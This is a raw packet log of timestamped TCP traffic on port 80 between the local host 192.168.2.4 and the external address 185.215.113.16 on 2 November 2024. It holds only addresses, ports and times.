Nov 2, 2024 07:16:22.937951088 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.937973976 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.937995911 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.937999010 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.938007116 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.938041925 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.938066006 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.938102961 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.938134909 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.938190937 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.938201904 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.938214064 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.938239098 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.938270092 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.938486099 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.938642979 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.938653946 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.938666105 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.938677073 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.938688993 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.938690901 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.938699961 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.938699961 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.938721895 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.938724041 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.938735008 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.938735962 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.938746929 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.938756943 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.938762903 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.938769102 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.938780069 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.938782930 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.938791990 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.938803911 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.938817024 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.938817024 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.938846111 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.938865900 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.938865900 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.938877106 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.938889027 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.938899994 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.938901901 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.938910961 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.938920975 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.938929081 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.938939095 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.938949108 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.938957930 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.938968897 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.938980103 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.938982010 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.938992977 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.939004898 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.939012051 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.939021111 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.939033031 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.939038038 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.939043045 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.939049959 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.939055920 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.939064980 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.939074993 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.939080954 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.939088106 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.939100027 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.939111948 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.939112902 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.939124107 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.939126015 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.939136028 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.939155102 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.939160109 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.939182043 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.939184904 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.939197063 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.939208031 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.939219952 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.939233065 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.939286947 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.939297915 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.939307928 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.939327955 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.939335108 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.939338923 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.939349890 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.939349890 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.939362049 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.939378977 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.939387083 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.939388037 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.939402103 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.939413071 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.939428091 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.939440012 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.939450979 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.939451933 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.939488888 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.939512014 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.939523935 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.939548969 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.939574003 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.939587116 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.939599037 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.939609051 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.939630032 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.939655066 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:22.980906010 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.980926991 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.980940104 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:22.981013060 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.014219046 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.014343023 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.014354944 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.014424086 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.014431953 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.014516115 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.014571905 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.014600992 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.014612913 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.014656067 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.014656067 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.014667988 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.014678955 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.014703035 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.014712095 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.014722109 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.014733076 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.014770031 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.014795065 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.014806986 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.014816999 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.014837980 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.014866114 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.014899015 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.014909983 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.014919996 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.014940023 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.014946938 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.014951944 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.014961958 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.014965057 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.014977932 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.014992952 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.015013933 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.015021086 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.015033007 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.015044928 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.015052080 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.015057087 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.015073061 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.015079975 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.015084028 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.015095949 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.015106916 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.015108109 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.015122890 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.015125036 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.015136957 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.015147924 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.015152931 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.015163898 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.015175104 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.015186071 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.015197992 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.015218973 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.015352011 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.015454054 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.015465975 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.015477896 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.015499115 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.015511990 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.015518904 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.015522957 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.015536070 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.015536070 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.015547991 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.015561104 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.015562057 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.015572071 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.015573025 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.015584946 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.015594959 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.015600920 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.015629053 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.015664101 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.015675068 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.015697002 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.015702009 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.015710115 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.015722036 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.015733957 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.015738010 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.015760899 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.015784025 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.015826941 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.015844107 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.015856028 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.015866995 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.015878916 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.015887022 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.015908957 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.015911102 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.015922070 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.015932083 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.015944004 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.015949965 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.015963078 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.015975952 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.015976906 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.015988111 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.016000032 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.016002893 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.016011000 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.016032934 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.016056061 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.016056061 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.016067028 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.016086102 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.016092062 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.016098022 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.016108990 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.016114950 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.016134024 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.016143084 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.016153097 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.016158104 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.016187906 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.016211987 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.016247988 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.016261101 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.016283035 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.016298056 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.016319990 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.016330957 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.016340971 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.016351938 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.016362906 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.016426086 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.016438007 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.016448975 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.016460896 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.016474962 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.016535997 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.016547918 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.016560078 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.016690969 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.057600021 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.057758093 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.057769060 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.057786942 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.057800055 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.057810068 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.057821989 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.057822943 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.057833910 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.057846069 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.057847023 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.057858944 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.057863951 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.057872057 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.057882071 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.057903051 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.057917118 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.057919025 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.057931900 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.057950020 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.057960033 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.057976961 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.057992935 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.057997942 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.058032990 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.058034897 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.058073997 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.058078051 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.058089018 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.058121920 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.058213949 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.058235884 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.058248997 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.058259010 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.058269024 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.058271885 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.058290958 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.058299065 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.058304071 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.058314085 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.058325052 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.058326006 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.058336020 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.058347940 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.058353901 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.058357000 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.058372974 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.058388948 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.058391094 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.058402061 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.058413029 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.058415890 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.058423996 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.058434010 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.058449984 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.058449984 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.058460951 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.058476925 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.058478117 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.058490038 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.058492899 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.058521032 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.058521986 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.058535099 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.058547020 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.058547974 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.058559895 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.058571100 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.058579922 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.058610916 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.058638096 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.058650017 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.058660984 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.058672905 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.058676004 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.058686018 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.058697939 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.058710098 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.058710098 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.058738947 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.058742046 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.058749914 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.058762074 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.058765888 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.058773994 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.058792114 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.058820009 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.058919907 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.058959007 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:23.058969021 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.058980942 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:23.058991909 CET	80	63862	185.215.113.16	192.168.2.4
